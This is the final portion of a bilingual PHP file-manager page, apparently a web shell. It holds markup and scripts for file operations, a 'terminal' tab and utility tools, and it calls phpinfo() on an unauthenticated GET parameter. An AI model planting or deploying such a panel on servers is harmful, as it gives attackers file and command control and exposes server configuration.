style="font-size:.7rem;color:var(--dim);margin-bottom:3px"><?=$lang==='id'?'Karakter (no space)':'Chars (no space)'?></div> <div class="tool-result" id="stat-charsnospace" style="min-height:auto;padding:8px;font-size:1rem;font-weight:600">0</div> </div> <div> <div style="font-size:.7rem;color:var(--dim);margin-bottom:3px"><?=$lang==='id'?'Kata':'Words'?></div> <div class="tool-result" id="stat-words" style="min-height:auto;padding:8px;font-size:1rem;font-weight:600">0</div> </div> <div> <div style="font-size:.7rem;color:var(--dim);margin-bottom:3px"><?=$lang==='id'?'Baris':'Lines'?></div> <div class="tool-result" id="stat-lines" style="min-height:auto;padding:8px;font-size:1rem;font-weight:600">0</div> </div> <div> <div style="font-size:.7rem;color:var(--dim);margin-bottom:3px"><?=$lang==='id'?'Kalimat':'Sentences'?></div> <div class="tool-result" id="stat-sentences" style="min-height:auto;padding:8px;font-size:1rem;font-weight:600">0</div> </div> </div> </div> </div> </div> <!-- TOOL: PASSWORD GENERATOR --> <div id="tool-passgen" class="tool-panel"> <div class="tool-section"> <div class="tool-section-hdr"><div class="panel-hdr-icon"><i class="fa-solid fa-shield-halved"></i></div><span class="panel-hdr-title"><?=$t['tool_passgen']?></span></div> <div class="tool-section-body"> <div class="tool-row"> <span class="tool-label"><?=$lang==='id'?'Panjang':'Length'?></span> <input type="number" id="passLen" class="field-sm" value="16" min="8" max="64" style="flex:none;width:80px"> <label style="display:flex;align-items:center;gap:5px;flex:1;margin-left:10px"> <input type="checkbox" id="passSpecial" checked> <span style="font-size:.72rem"><?=$lang==='id'?'Karakter spesial':'Special chars'?></span> </label> </div> <button class="btn btn-v" onclick="doPassGen()" style="width:100%"><i class="fa-solid fa-shuffle"></i> <?=$t['generate']?></button> <div> <div style="font-size:.72rem;color:var(--dim);margin:10px 0 5px 0;display:flex;align-items:center;gap:7px"><?=$t['result']?> <button class="copy-btn" onclick="copyText('passResult')">copy</button></div> <div class="tool-result" id="passResult">โ</div> </div> </div> </div> </div> <!-- TOOL: TIMESTAMP CONVERTER --> <div id="tool-timestamp" class="tool-panel"> <div class="tool-section"> <div class="tool-section-hdr"><div class="panel-hdr-icon"><i class="fa-solid fa-calendar-days"></i></div><span class="panel-hdr-title"><?=$t['tool_timestamp']?></span></div> <div class="tool-section-body"> <div style="display:flex;gap:10px;margin-bottom:10px"> <label style="display:flex;align-items:center;gap:5px;flex:1"> <input type="radio" name="tsOp" value="todate" onchange="updateTsOp()" checked> <span style="font-size:.72rem"><?=$lang==='id'?'Timestamp โ Tanggal':'Timestamp โ Date'?></span> </label> <label style="display:flex;align-items:center;gap:5px;flex:1"> <input type="radio" name="tsOp" value="totimestamp" onchange="updateTsOp()"> <span style="font-size:.72rem"><?=$lang==='id'?'Tanggal โ Timestamp':'Date โ Timestamp'?></span> </label> </div> <div class="tool-row"> <input type="text" id="tsInput" class="field" placeholder="2025-04-22 15:30:00 or 1734891600" style="width:100%"> </div> <button class="btn btn-v" onclick="doTimestamp()" style="width:100%"><i class="fa-solid fa-arrow-right-arrow-left"></i> <?=$lang==='id'?'Konversi':'Convert'?></button> <div> <div style="font-size:.72rem;color:var(--dim);margin:10px 0 5px 0;display:flex;align-items:center;gap:7px"><?=$t['result']?> <button class="copy-btn" onclick="copyText('tsResult')">copy</button></div> <div class="tool-result" id="tsResult">โ</div> </div> </div> </div> </div> </div><!-- /tab-tools --> </div><!-- /wrap --> <?php // phpinfo output if(isset($_GET['phpinfo'])){ phpinfo(); exit; } ?> <!-- MODALS --> <div class="modal-overlay" id="permModal"> <div class="modal"> <div class="modal-title"><i class="fa-solid fa-lock"></i> <?=$t['perm_title']?></div> <form method="post" action="?dir=<?=$eDir?>&tab=files<?=$lp?>"> <div class="modal-body"> <div style="font-size:.8rem;color:var(--dim)"><?=$t['perm_file']?>: <span id="permFileNameDisplay" style="color:var(--txt);font-weight:600;font-family:'Fira Code',monospace"></span></div> <input type="hidden" name="perm_file" id="permFileName"> <div class="input-group"><label><?=$t['perm_mode']?></label><input type="text" name="permissions" id="permValue" class="field-sm" placeholder="755" maxlength="4" style="flex:none;width:90px"></div> <div style="display:flex;gap:5px;flex-wrap:wrap"> <?php foreach(['755'=>'755','644'=>'644','777'=>'777','600'=>'600','400'=>'400'] as $v=>$l):?> <button type="button" class="btn btn-ghost" style="font-size:.7rem;padding:4px 10px" onclick="document.getElementById('permValue').value='<?=$v?>'"><?=$l?></button> <?php endforeach;?> </div> </div> <div class="modal-footer"> <button type="submit" name="change_perms" class="btn btn-v"><i class="fa-solid fa-check"></i> <?=$t['apply']?></button> <button type="button" class="btn btn-ghost" onclick="closeModal('permModal')"><?=$t['cancel']?></button> </div> </form> </div> </div> <div class="modal-overlay" id="copyMoveModal"> <div class="modal"> <div class="modal-title"><i class="fa-solid fa-arrows-up-down-left-right"></i> <?=$t['cm_title']?></div> <div class="modal-body"> <div style="font-size:.8rem;color:var(--dim)"><?=$t['cm_file']?>: <span id="cmFileName" style="color:var(--txt);font-weight:600;font-family:'Fira Code',monospace"></span></div> <form method="post" action="?dir=<?=$eDir?>&tab=files<?=$lp?>" id="copyForm"> <input type="hidden" name="copy_src" id="copySrc"> <div style="display:flex;gap:7px;align-items:center;margin-top:7px"> <label style="font-size:.72rem;color:var(--dim);min-width:75px"><?=$t['cm_dest']?></label> <input type="text" name="copy_dest" class="field-sm" placeholder="<?=htmlspecialchars((string)$root_dir)?>" style="flex:1"> </div> <div style="margin-top:10px;display:flex;justify-content:flex-end"><button type="submit" name="copy_file" class="btn btn-c"><i class="fa-solid fa-copy"></i> <?=$t['copy_here']?></button></div> </form> <hr style="border-color:var(--b1);margin:9px 0"> <form method="post" action="?dir=<?=$eDir?>&tab=files<?=$lp?>" id="moveForm"> <input type="hidden" name="move_src" id="moveSrc"> <div style="display:flex;gap:7px;align-items:center"> <label style="font-size:.72rem;color:var(--dim);min-width:75px"><?=$t['cm_dest']?></label> <input type="text" name="move_dest" class="field-sm" placeholder="<?=htmlspecialchars((string)$root_dir)?>" style="flex:1"> </div> <div style="margin-top:10px;display:flex;gap:7px;justify-content:flex-end"> <button type="submit" name="move_file" class="btn btn-v"><i class="fa-solid fa-truck-fast"></i> <?=$t['move_here']?></button> <button type="button" class="btn btn-ghost" onclick="closeModal('copyMoveModal')"><?=$t['cancel']?></button> </div> </form> </div> </div> </div> <!-- FIX: Extract modal - action menggunakan dir yang benar --> <div class="modal-overlay" id="extractModal"> <div class="modal"> <div class="modal-title"><i class="fa-solid fa-box-archive"></i> <?=$t['extract_zip']?></div> <form method="post" action="?dir=<?=$eDir?>&tab=files<?=$lp?>"> <input type="hidden" name="zip_file" id="extractZipFile"> <div class="modal-body"> <div style="font-size:.8rem;color:var(--dim)"><?=$lang==='id'?'File ZIP':'ZIP File'?>: <span id="extractZipName" style="color:var(--v3);font-family:'Fira Code',monospace;font-weight:600"></span></div> <div style="font-size:.76rem;color:var(--dim);background:var(--s3);padding:9px 13px;border-radius:var(--rads);border:1px solid var(--b1);"> <i class="fa-solid fa-circle-info" style="color:var(--v2)"></i> <?=$lang==='id'?'Akan diekstrak ke folder dengan nama yang sama di direktori ini.':'Will be extracted to a same-named folder in this directory.'?> </div> <div style="font-size:.72rem;color:var(--mute)"><i class="fa-solid fa-folder"></i> <?=$lang==='id'?'Direktori target:':'Target directory:'?> <code style="color:var(--c2)"><?=htmlspecialchars($current_dir)?></code></div> </div> <div class="modal-footer"> <button type="submit" name="extract_zip" class="btn btn-v"><i class="fa-solid fa-box-archive"></i> <?=$t['extract']?></button> <button type="button" class="btn btn-ghost" onclick="closeModal('extractModal')"><?=$t['cancel']?></button> </div> </form> </div> </div> <div class="modal-overlay" id="bulkZipModal"> <div class="modal"> <div class="modal-title"><i class="fa-solid fa-file-zipper"></i> <?=$t['bulk_zip_title']?></div> <form method="post" action="?dir=<?=$eDir?>&tab=zip<?=$lp?>"> <div class="modal-body"> <div style="display:flex;gap:7px;align-items:center"> <label style="font-size:.72rem;color:var(--dim);min-width:75px"><?=$t['bulk_zip_name']?></label> <input type="text" name="zip_name" class="field-sm" placeholder="archive.zip" style="flex:1"> </div> <div id="bulkZipFiles" style="font-size:.75rem;color:var(--dim);max-height:150px;overflow-y:auto;padding:7px;background:var(--bg);border:1px solid var(--b2);border-radius:var(--rads)"></div> </div> <div class="modal-footer"> <button type="submit" name="create_zip" class="btn btn-v"><i class="fa-solid fa-file-zipper"></i> <?=$t['make_zip']?></button> <button type="button" class="btn btn-ghost" onclick="closeModal('bulkZipModal')"><?=$t['cancel']?></button> </div> </form> </div> </div> <div class="confirm-modal-overlay" id="confirmModal"> <div class="confirm-box"> <div class="confirm-icon-wrap del"><i class="fa-solid fa-trash-can"></i></div> <div class="confirm-title" id="confirmTitle"><?=$lang==='id'?'Konfirmasi Hapus':'Confirm Delete'?></div> <div class="confirm-msg" id="confirmMsg"><?=$lang==='id'?'Apakah Anda yakin ingin menghapus:':'Are you sure you want to delete:'?></div> <div class="confirm-file" id="confirmFile"></div> <div class="confirm-footer"> <a id="confirmYesBtn" href="#" class="btn btn-r"><i class="fa-solid fa-trash"></i> <?=$lang==='id'?'Ya, Hapus':'Yes, Delete'?></a> <button class="btn btn-ghost" onclick="closeConfirm()"><i class="fa-solid fa-xmark"></i> <?=$t['cancel']?></button> </div> </div> </div> <div id="tc"></div> <script> const LANG = '<?=$lang?>'; const CURRENT_DIR = '<?=$js_current_dir?>'; const ROOT_DIR = '<?=$js_root_dir?>'; const LP = '<?=addslashes($lp)?>'; const I18N = { bulkSelected: '<?=addslashes($t['bulk_selected'])?>', toastSuccess: '<?=addslashes($t['toast_success'])?>', toastError: '<?=addslashes($t['toast_error'])?>', confirmTitle: LANG==='id' ? 'Konfirmasi Hapus' : 'Confirm Delete', confirmMsg: LANG==='id' ? 'Apakah Anda yakin ingin menghapus:' : 'Are you sure you want to delete:', yesDelete: LANG==='id' ? 'Ya, Hapus' : 'Yes, Delete', cancel: LANG==='id' ? 'Batal' : 'Cancel', }; // โโ TOAST โโ (function(){ const p=new URLSearchParams(location.search); const type=p.get('t_type'),msg=p.get('t_msg'); if(!type||!msg)return; const np=new URLSearchParams(location.search); np.delete('t_type');np.delete('t_msg'); history.replaceState(null,'','?'+np.toString()); showToast(type,decodeURIComponent(msg)); })(); function showToast(type,msg,dur=5000){ const isOk=type==='success'; const el=document.createElement('div'); el.className='toast '+(isOk?'toast-ok':'toast-err'); el.style.setProperty('--dur',(dur/1000)+'s'); el.innerHTML=`<div class="toast-stripe"></div><div class="toast-inner"><div class="toast-ico"><i class="fa-solid ${isOk?'fa-circle-check':'fa-circle-xmark'}"></i></div><div class="toast-content"><div class="toast-title">${isOk?I18N.toastSuccess:I18N.toastError}</div><div class="toast-msg">${msg}</div></div></div><button class="toast-x"><i class="fa-solid fa-xmark"></i></button><div class="tbar"></div>`; document.getElementById('tc').appendChild(el); let gone=false; function dismiss(){if(gone)return;gone=true;el.classList.add('hiding');el.addEventListener('animationend',()=>el.remove(),{once:true});} el.querySelector('.toast-x').addEventListener('click',e=>{e.stopPropagation();dismiss();}); setTimeout(dismiss,dur); } // โโ CONFIRM DELETE โโ function confirmDelete(type,name,url){ document.getElementById('confirmTitle').textContent=I18N.confirmTitle; document.getElementById('confirmMsg').textContent=I18N.confirmMsg; document.getElementById('confirmFile').textContent=name; const btn=document.getElementById('confirmYesBtn'); btn.href=url;btn.onclick=null; btn.innerHTML='<i class="fa-solid fa-trash"></i> '+I18N.yesDelete; document.getElementById('confirmModal').classList.add('active'); } function closeConfirm(){document.getElementById('confirmModal').classList.remove('active');} document.getElementById('confirmModal').addEventListener('click',function(e){if(e.target===this)closeConfirm();}); // โโ TAB SWITCHING โโ const TAB_MAP={files:0,upload:1,create:2,zip:3,search:4,terminal:5,tools:6}; function switchTab(name){ document.querySelectorAll('.tab-content').forEach(t=>t.classList.remove('active')); document.querySelectorAll('.tab').forEach(t=>t.classList.remove('active')); const content=document.getElementById('tab-'+name); if(content)content.classList.add('active'); const idx=TAB_MAP[name]??0; const tabEls=document.querySelectorAll('.tab'); if(tabEls[idx])tabEls[idx].classList.add('active'); const url=new URL(location.href); url.searchParams.set('tab',name); if(name!=='files'){url.searchParams.delete('edit');url.searchParams.delete('rename');} history.replaceState({tab:name},'','?'+url.searchParams.toString()); if(name==='terminal') setTimeout(()=>{document.getElementById('cmdInput')?.focus();},80); } window.addEventListener('popstate',function(e){ if(e.state&&e.state.tab){ document.querySelectorAll('.tab-content').forEach(t=>t.classList.remove('active')); document.querySelectorAll('.tab').forEach(t=>t.classList.remove('active')); const c=document.getElementById('tab-'+e.state.tab); if(c)c.classList.add('active'); const idx=TAB_MAP[e.state.tab]??0; const tabBtns=document.querySelectorAll('.tab'); if(tabBtns[idx])tabBtns[idx].classList.add('active'); } }); // โโ FILE UPLOAD DROP โโ function handleFileChange(input){ const drop=document.getElementById('fileDrop'); const label=document.getElementById('fileName'); if(input.files&&input.files.length>0){ const names=Array.from(input.files).map(f=>f.name); label.textContent=names.length>1?names.length+' file: '+names.slice(0,3).join(', ')+(names.length>3?'โฆ':''):names[0]; drop.classList.add('has-file'); }else{ label.textContent=LANG==='id'?'Klik atau seret & lepas file di sini...':'Click or drag & drop files here...'; drop.classList.remove('has-file'); } } (function(){ const drop=document.getElementById('fileDrop'); if(!drop)return; ['dragenter','dragover'].forEach(ev=>drop.addEventListener(ev,e=>{e.preventDefault();drop.classList.add('drag-over');})); ['dragleave','dragend','drop'].forEach(ev=>drop.addEventListener(ev,()=>drop.classList.remove('drag-over'))); drop.addEventListener('drop',e=>{e.preventDefault();const inp=document.getElementById('fileInput');if(e.dataTransfer.files.length){inp.files=e.dataTransfer.files;handleFileChange(inp);}}); })(); // โโ BULK SELECT โโ function toggleSelectAll(cb){document.querySelectorAll('.row-cb:not(#selectAll)').forEach(c=>{c.checked=cb.checked;updateRowHighlight(c);});updateBulkBar();} function updateRowHighlight(cb){const row=cb.closest('tr');if(row)row.classList.toggle('selected',cb.checked);} function updateBulkBar(){ const checked=document.querySelectorAll('.row-cb:not(#selectAll):checked'); document.getElementById('bulkCount').textContent=checked.length+' '+I18N.bulkSelected; document.getElementById('bulkBar').classList.toggle('active',checked.length>0); } document.addEventListener('change',function(e){if(e.target.classList.contains('row-cb')&&e.target.id!=='selectAll'){updateRowHighlight(e.target);updateBulkBar();}}); function getSelectedFiles(){return Array.from(document.querySelectorAll('.row-cb:not(#selectAll):checked')).map(c=>c.value);} function clearSelection(){document.querySelectorAll('.row-cb').forEach(c=>{c.checked=false;});document.querySelectorAll('tr.selected').forEach(r=>r.classList.remove('selected'));document.getElementById('selectAll').checked=false;updateBulkBar();} function bulkDelete(){const files=getSelectedFiles();if(!files.length){showToast('error',LANG==='id'?'Pilih minimal satu file':'Select at least one file');return;}confirmBulkDelete(files);} function confirmBulkDelete(files){ document.getElementById('confirmTitle').textContent=I18N.confirmTitle; document.getElementById('confirmMsg').textContent=LANG==='id'?'Hapus '+files.length+' item?':'Delete '+files.length+' items?'; document.getElementById('confirmFile').textContent=files.slice(0,3).join(', ')+(files.length>3?'โฆ':''); const btn=document.getElementById('confirmYesBtn'); btn.href='#'; btn.onclick=function(e){ e.preventDefault();closeConfirm(); const eDir=encodeURIComponent(CURRENT_DIR); let done=0; files.forEach(f=>{fetch('?dir='+eDir+'&delete='+encodeURIComponent(f)+LP).then(()=>{done++;if(done===files.length)location.reload();}).catch(()=>{done++;if(done===files.length)location.reload();});}); }; document.getElementById('confirmModal').classList.add('active'); } function openBulkZipModal(){ const files=getSelectedFiles(); if(!files.length){showToast('error',LANG==='id'?'Pilih minimal satu file':'Select at least one file');return;} const cont=document.getElementById('bulkZipFiles'); cont.innerHTML=files.map(f=>`<input type="hidden" name="zip_files[]" value="${f.replace(/"/g,'"')}"><div style="padding:2px 0;display:flex;align-items:center;gap:5px"><i class="fa-solid fa-file" style="color:var(--v2);font-size:.75rem"></i><span style="font-size:.76rem">${f}</span></div>`).join(''); openModal('bulkZipModal'); } // โโ MODALS โโ function openModal(id){document.getElementById(id).classList.add('active');} function closeModal(id){document.getElementById(id).classList.remove('active');} document.querySelectorAll('.modal-overlay').forEach(m=>{m.addEventListener('click',e=>{if(e.target===m)m.classList.remove('active');});}); function openPermModal(name,perms){document.getElementById('permFileName').value=name;document.getElementById('permFileNameDisplay').textContent=name;document.getElementById('permValue').value=perms;openModal('permModal');} function openCopyMoveModal(name){document.getElementById('cmFileName').textContent=name;document.getElementById('copySrc').value=name;document.getElementById('moveSrc').value=name;openModal('copyMoveModal');} function openExtractModal(name){document.getElementById('extractZipFile').value=name;document.getElementById('extractZipName').textContent=name;openModal('extractModal');} // โโ EDITOR โโ function editorTab(e){ if(e.key==='Tab'){e.preventDefault();const ta=e.target,s=ta.selectionStart,end=ta.selectionEnd;ta.value=ta.value.substring(0,s)+' '+ta.value.substring(end);ta.selectionStart=ta.selectionEnd=s+4;} if((e.ctrlKey||e.metaKey)&&e.key==='s'){e.preventDefault();document.getElementById('editorForm')?.submit();} } // โโ SERVER CLOCK โโ (function(){ const el=document.getElementById('server-clock'); if(!el)return; let now=new Date('<?=date('Y-m-d\TH:i:s')?>'); setInterval(()=>{ now=new Date(now.getTime()+1000); const locale=LANG==='id'?'id-ID':'en-GB'; el.textContent=now.toLocaleDateString(locale,{day:'2-digit',month:'short',year:'numeric'})+' '+now.toLocaleTimeString(locale); },1000); })(); // โโ TOOL PANEL TOGGLE โโ function toggleToolPanel(id){ const panels=document.querySelectorAll('.tool-panel'); panels.forEach(p=>{ if(p.id===id) p.classList.toggle('active'); else p.classList.remove('active'); }); // Scroll to panel const target=document.getElementById(id); if(target&&target.classList.contains('active')){ setTimeout(()=>target.scrollIntoView({behavior:'smooth',block:'nearest'}),50); } } // โโ COPY TEXT โโ function copyText(id){ const el=document.getElementById(id); if(!el)return; const txt=el.tagName==='TEXTAREA'||el.tagName==='INPUT'?el.value:el.textContent; navigator.clipboard.writeText(txt).then(()=>showToast('success',LANG==='id'?'Tersalin ke clipboard!':'Copied to clipboard!')).catch(()=>{}); } // โโ HASH GENERATOR โโ async function doHash(){ const txt=document.getElementById('hashInput').value; if(!txt){showToast('error','Input cannot be empty');return;} const fd=new FormData(); fd.append('tool_hash','1'); fd.append('hash_input',txt); const r=await fetch(location.href,{method:'POST',body:fd}); const d=await r.json(); document.getElementById('hashResult').style.display='flex'; for(const k of['md5','sha1','sha256','sha512']){ const el=document.getElementById('hash-'+k); if(el&&d[k]) el.textContent=d[k]; } } // โโ BASE64 โโ function doB64(mode){ const inp=document.getElementById('b64Input').value; const out=document.getElementById('b64Output'); if(!inp){out.textContent='โ';return;} try{ if(mode==='enc') out.textContent=btoa(unescape(encodeURIComponent(inp))); else out.textContent=decodeURIComponent(escape(atob(inp))); }catch(e){out.textContent='Error: '+e.message;} } // โโ JSON FORMATTER โโ function doJson(mode){ const inp=document.getElementById('jsonInput').value; const out=document.getElementById('jsonOutput'); const status=document.getElementById('jsonStatus'); try{ const parsed=JSON.parse(inp); if(mode==='format'){ out.textContent=JSON.stringify(parsed,null,2); status.innerHTML='<span style="color:var(--g)"><i class="fa-solid fa-check-circle"></i> Valid JSON</span>'; } else { out.textContent=JSON.stringify(parsed); status.innerHTML='<span style="color:var(--g)"><i class="fa-solid fa-check-circle"></i> Valid JSON (minified)</span>'; } }catch(e){ out.textContent='Parse error: '+e.message; status.innerHTML='<span style="color:var(--r)"><i class="fa-solid fa-circle-xmark"></i> Invalid JSON</span>'; } } // โโ REGEX TESTER โโ async function doRegex(){ const pattern=document.getElementById('regexPattern').value; const subject=document.getElementById('regexSubject').value; const out=document.getElementById('regexResult'); if(!pattern){out.textContent='Enter a pattern';return;} const fd=new FormData(); fd.append('tool_regex','1'); fd.append('regex_pattern',pattern); fd.append('regex_subject',subject); try{ const r=await fetch(location.href,{method:'POST',body:fd}); const d=await r.json(); if(d.error){out.textContent='Error: '+d.error;return;} if(d.count===0){ out.textContent='<?=addslashes($t['no_match'])?>'; } else { out.textContent=d.count+' <?=addslashes($t['matches'])?>:\n'+d.matches.join('\n'); } }catch(e){out.textContent='Request error: '+e.message;} } // โโ HTPASSWD โโ async function doHtpasswd(){ const user=document.getElementById('htUser').value; const pass=document.getElementById('htPass').value; const out=document.getElementById('htResult'); if(!user||!pass){showToast('error',LANG==='id'?'Username dan password harus diisi':'Username and password required');return;} const fd=new FormData(); fd.append('tool_htpasswd','1'); fd.append('ht_user',user); fd.append('ht_pass',pass); try{ const r=await fetch(location.href,{method:'POST',body:fd}); const d=await r.json(); if(d.error){out.textContent='Error: '+d.error;return;} out.textContent=d.line; showToast('success',LANG==='id'?'Hash berhasil digenerate':'Hash generated successfully'); }catch(e){out.textContent='Error: '+e.message;} } function toggleHtPass(){ const inp=document.getElementById('htPass'); const icon=document.getElementById('htEyeIcon'); if(inp.type==='password'){inp.type='text';icon.className='fa-solid fa-eye-slash';} else{inp.type='password';icon.className='fa-solid fa-eye';} } // โโ IMAGE CONVERTER โโ async function doImgConv(e){ e.preventDefault(); const file=document.getElementById('imgFile').files[0]; if(!file){showToast('error','Select an image first');return;} const fd=new FormData(); fd.append('tool_imgconv','1'); fd.append('img_file',file); fd.append('img_fmt',document.getElementById('imgFmt').value); fd.append('img_q',document.getElementById('imgQuality').value); fd.append('img_w',document.getElementById('imgW').value||'0'); fd.append('img_h',document.getElementById('imgH').value||'0'); try{ const r=await fetch(location.href,{method:'POST',body:fd}); const d=await r.json(); if(d.error){showToast('error',d.error);return;} const src='data:'+d.mime+';base64,'+d.base64; document.getElementById('imgConvPreview').src=src; document.getElementById('imgConvInfo').textContent=d.w+'ร'+d.h+' px ยท '+d.mime; const dl=document.getElementById('imgConvDownload'); dl.href=src; dl.download='converted.'+document.getElementById('imgFmt').value; document.getElementById('imgConvResult').style.display='block'; showToast('success',LANG==='id'?'Konversi berhasil':'Conversion successful'); }catch(e){showToast('error','Error: '+e.message);} } // โโ CHMOD CALC โโ function calcChmod(){ let oct=''; for(const grp of['o','g','t']){ let val=0; document.querySelectorAll(`.chmod-cb[data-grp="${grp}"]`).forEach(cb=>{if(cb.checked)val+=parseInt(cb.dataset.val);}); oct+=val; } document.getElementById('chmodResult').textContent=oct; } function setChmod(oct){ const vals=oct.split('').map(Number); const grps=['o','g','t']; grps.forEach((grp,gi)=>{ const v=vals[gi]; document.querySelectorAll(`.chmod-cb[data-grp="${grp}"]`).forEach(cb=>{ cb.checked=!!(v&parseInt(cb.dataset.val)); }); }); document.getElementById('chmodResult').textContent=oct; } // โโ CRON BUILDER โโ function buildCron(){ const fields=['minute','hour','day_month','month','day_week']; const parts=fields.map(f=>(document.getElementById('cron-'+f)?.value||'*').trim()||'*'); const expr=parts.join(' '); document.getElementById('cronOutput').textContent=expr; describeCron(parts); } function setCron(expr){ const parts=expr.split(' '); const fields=['minute','hour','day_month','month','day_week']; fields.forEach((f,i)=>{const el=document.getElementById('cron-'+f);if(el)el.value=parts[i]||'*';}); document.getElementById('cronOutput').textContent=expr; describeCron(parts); } function describeCron(parts){ const el=document.getElementById('cronDesc'); if(!el)return; const [min,hr,dom,mon,dow]=parts; let desc=[]; if(min==='*')desc.push(LANG==='id'?'setiap menit':'every minute'); else if(min.startsWith('*/'))desc.push((LANG==='id'?'setiap ':'every ')+min.slice(2)+(LANG==='id'?' menit':' minutes')); else desc.push((LANG==='id'?'menit ke-':'at minute ')+min); if(hr!=='*'){ if(hr.startsWith('*/'))desc.push((LANG==='id'?'setiap ':'every ')+hr.slice(2)+(LANG==='id'?' jam':' hours')); else if(hr.includes('-')){const [a,b]=hr.split('-');desc.push((LANG==='id'?'jam ':'hour ')+a+'-'+b);} else desc.push((LANG==='id'?'jam ':'at hour ')+hr); } if(dom!=='*') desc.push((LANG==='id'?'tanggal ':'on day ')+dom); if(mon!=='*'){const months=['','Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec'];desc.push((LANG==='id'?'bulan ':'in ')+( months[parseInt(mon)]||mon));} if(dow!=='*'){const days=['Sun','Mon','Tue','Wed','Thu','Fri','Sat'];desc.push((LANG==='id'?'hari ':'on ')+(days[parseInt(dow)]||dow));} el.textContent=desc.join(', '); } // โโ UUID GENERATOR โโ async function doUUID(){ const count=parseInt(document.getElementById('uuidCount').value)||1; const fd=new FormData(); fd.append('tool_uuid','1'); fd.append('uuid_count',Math.min(Math.max(count,1),20)); try{ const resp=await fetch(window.location.href,{method:'POST',body:fd}); const d=await resp.json(); const el=document.getElementById('uuidResult'); if(d.uuids) el.textContent=d.uuids.join('\n'); }catch(e){alert(e.message);} } // โโ URL ENCODER/DECODER โโ async function doUrlEnc(op){ const txt=document.getElementById('urlencInput').value; const fd=new FormData(); fd.append('tool_urlenc','1'); fd.append('urlenc_op',op); fd.append('urlenc_text',txt); try{ const resp=await fetch(window.location.href,{method:'POST',body:fd}); const d=await resp.json(); document.getElementById('urlencResult').textContent=d.result||'โ'; }catch(e){alert(e.message);} } // โโ TEXT STATISTICS โโ async function doTextStats(){ const txt=document.getElementById('statsInput').value; const fd=new FormData(); fd.append('tool_textstats','1'); fd.append('stats_text',txt); try{ const resp=await fetch(window.location.href,{method:'POST',body:fd}); const d=await resp.json(); document.getElementById('stat-chars').textContent=d.chars||0; document.getElementById('stat-charsnospace').textContent=d.charsnospace||0; document.getElementById('stat-words').textContent=d.words||0; document.getElementById('stat-lines').textContent=d.lines||0; document.getElementById('stat-sentences').textContent=d.sentences||0; }catch(e){console.error(e);} } // โโ PASSWORD GENERATOR โโ async function doPassGen(){ const len=parseInt(document.getElementById('passLen').value)||16; const special=document.getElementById('passSpecial').checked; const fd=new FormData(); fd.append('tool_passgen','1'); fd.append('pass_len',len); if(special) fd.append('pass_special','1'); try{ const resp=await fetch(window.location.href,{method:'POST',body:fd}); const d=await resp.json(); document.getElementById('passResult').textContent=d.password||'โ'; }catch(e){alert(e.message);} } // โโ TIMESTAMP CONVERTER โโ async function doTimestamp(){ const val=document.getElementById('tsInput').value; const op=document.querySelector('input[name="tsOp"]:checked').value; const fd=new FormData(); fd.append('tool_timestamp','1'); fd.append('ts_op',op); fd.append('ts_val',val); try{ const resp=await fetch(window.location.href,{method:'POST',body:fd}); const d=await resp.json(); document.getElementById('tsResult').textContent=d.result||'โ'; }catch(e){alert(e.message);} } function updateTsOp(){ document.getElementById('tsInput').placeholder=document.querySelector('input[name="tsOp"]:checked').value==='todate'?'1734891600':'2025-04-22 15:30:00'; } document.addEventListener('DOMContentLoaded',()=>{buildCron();calcChmod();}); </script> </body> </html>
Upload File
Create Folder